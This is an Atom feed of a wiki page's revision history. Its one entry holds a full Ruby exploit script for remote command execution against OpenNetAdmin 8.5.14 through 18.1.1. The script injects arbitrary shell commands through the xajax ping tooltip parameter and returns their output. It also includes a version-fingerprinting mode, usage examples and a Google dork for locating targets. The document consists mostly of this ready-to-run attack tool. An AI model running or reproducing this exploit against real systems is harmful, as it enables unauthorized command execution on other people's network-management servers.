<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=OpenNetAdmin_versions_8.5.14_through_18.1.1_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>OpenNetAdmin versions 8.5.14 through 18.1.1 遠程命令執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=OpenNetAdmin_versions_8.5.14_through_18.1.1_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=OpenNetAdmin_versions_8.5.14_through_18.1.1_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-26T09:43:20Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=OpenNetAdmin_versions_8.5.14_through_18.1.1_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=3613&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; #!/usr/bin/env ruby  # Exploit ## Title: OpenNetAdmin 8.5.14 &lt;= 18.1.1 - Remote Command Execution ## Google Dorks: ##   inurl:/ona/ ## Author: noraj (Alexandre Z...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=OpenNetAdmin_versions_8.5.14_through_18.1.1_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=3613&amp;oldid=prev"/>
		<updated>2021-05-30T02:14:21Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; #!/usr/bin/env ruby  # Exploit ## Title: OpenNetAdmin 8.5.14 &amp;lt;= 18.1.1 - Remote Command Execution ## Google Dorks: ##   inurl:/ona/ ## Author: noraj (Alexandre Z...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/env ruby&lt;br /&gt;
&lt;br /&gt;
# Exploit&lt;br /&gt;
## Title: OpenNetAdmin 8.5.14 &amp;lt;= 18.1.1 - Remote Command Execution&lt;br /&gt;
## Google Dorks:&lt;br /&gt;
##   inurl:/ona/&lt;br /&gt;
## Author: noraj (Alexandre ZANNI) for SEC-IT (http://secit.fr)&lt;br /&gt;
## Author website: https://pwn.by/noraj/&lt;br /&gt;
## Date: 2021-05-07&lt;br /&gt;
## Vendor Homepage: https://github.com/opennetadmin/ona&lt;br /&gt;
## Software Link: https://github.com/opennetadmin/ona/archive/refs/tags/v18.1.1.tar.gz&lt;br /&gt;
## Version: 8.5.14 to 18.1.1&lt;br /&gt;
## Tested on: OpenNetAdmin 18.1.1&lt;br /&gt;
## Patch: Use git master branch (no new version released)&lt;br /&gt;
&lt;br /&gt;
# Vulnerabilities&lt;br /&gt;
## Discoverer: mattpascoe&lt;br /&gt;
## Date: 2019-11-19&lt;br /&gt;
## Discoverer website: https://github.com/mattpascoe&lt;br /&gt;
## Discovered on OpenNetAdmin 18.1.1&lt;br /&gt;
## Vulnerability 1:&lt;br /&gt;
##   Title: OpenNetAdmin 18.1.1 - Remote Code Execution&lt;br /&gt;
##   CVE: none&lt;br /&gt;
##   References: https://www.exploit-db.com/exploits/47691&lt;br /&gt;
&lt;br /&gt;
require 'httpx'&lt;br /&gt;
require 'docopt'&lt;br /&gt;
&lt;br /&gt;
doc = &amp;lt;&amp;lt;~DOCOPT&lt;br /&gt;
  OpenNetAdmin 8.5.14 &amp;lt;= 18.1.1 - Remote Command Execution&lt;br /&gt;
&lt;br /&gt;
  Usage:&lt;br /&gt;
    #{__FILE__} exploit &amp;lt;url&amp;gt; &amp;lt;cmd&amp;gt; [--debug]&lt;br /&gt;
    #{__FILE__} version &amp;lt;url&amp;gt; [--debug]&lt;br /&gt;
    #{__FILE__} -h | --help&lt;br /&gt;
&lt;br /&gt;
  exploit:      Exploit the RCE vuln&lt;br /&gt;
  version:      Try to fetch OpenNetAdmin version&lt;br /&gt;
&lt;br /&gt;
  Options:&lt;br /&gt;
    &amp;lt;url&amp;gt;       Root URL (base path) including HTTP scheme, port and root folder&lt;br /&gt;
    &amp;lt;cmd&amp;gt;       Command to execute on the target&lt;br /&gt;
    --debug     Display arguments&lt;br /&gt;
    -h, --help  Show this screen&lt;br /&gt;
&lt;br /&gt;
  Examples:&lt;br /&gt;
    #{__FILE__} exploit http://example.org id&lt;br /&gt;
    #{__FILE__} exploit https://example.org:5000/ona 'touch hackproof'&lt;br /&gt;
    #{__FILE__} version https://example.org:5000/ona&lt;br /&gt;
DOCOPT&lt;br /&gt;
&lt;br /&gt;
def exploit(root_url, cmd, separator)&lt;br /&gt;
  params = {&lt;br /&gt;
    'xajax' =&amp;gt; 'window_submit',&lt;br /&gt;
    'xajaxargs' =&amp;gt; ['tooltips', &amp;quot;ip=&amp;gt;; echo #{separator}; #{cmd} 2&amp;gt;&amp;amp;1; echo #{separator}&amp;quot;, 'ping']&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  res = HTTPX.post(root_url, form: params).body.to_s.match(/#{separator}(.*)#{separator}/m)&lt;br /&gt;
&lt;br /&gt;
  return '[-] Target not vulnerable' if res.captures[0].nil?&lt;br /&gt;
&lt;br /&gt;
  res.captures[0]&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
def version(root_url)&lt;br /&gt;
  params = {&lt;br /&gt;
    'xajax' =&amp;gt; 'window_open',&lt;br /&gt;
    'xajaxargs' =&amp;gt; ['app_about']&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  res = HTTPX.post(root_url, form: params).body.to_s.match(/&amp;lt;u&amp;gt;&amp;amp;copy; \d{4} OpenNetAdmin - v(\S+)&amp;lt;\/u&amp;gt;/)&lt;br /&gt;
&lt;br /&gt;
  return '[-] Version not found' if res.captures[0].nil?&lt;br /&gt;
&lt;br /&gt;
  res.captures[0]&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
begin&lt;br /&gt;
  args = Docopt.docopt(doc)&lt;br /&gt;
  pp args if args['--debug']&lt;br /&gt;
&lt;br /&gt;
  if args['version']&lt;br /&gt;
    puts version(args['&amp;lt;url&amp;gt;'])&lt;br /&gt;
  else&lt;br /&gt;
    SEPARATOR = '556cc23863fef20fab5c456db166bc6e'.freeze&lt;br /&gt;
&lt;br /&gt;
    output = exploit(args['&amp;lt;url&amp;gt;'], args['&amp;lt;cmd&amp;gt;'], SEPARATOR)&lt;br /&gt;
    puts '[+] Command output:'&lt;br /&gt;
    puts output&lt;br /&gt;
  end&lt;br /&gt;
rescue Docopt::Exit =&amp;gt; e&lt;br /&gt;
  puts e.message&lt;br /&gt;
end&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>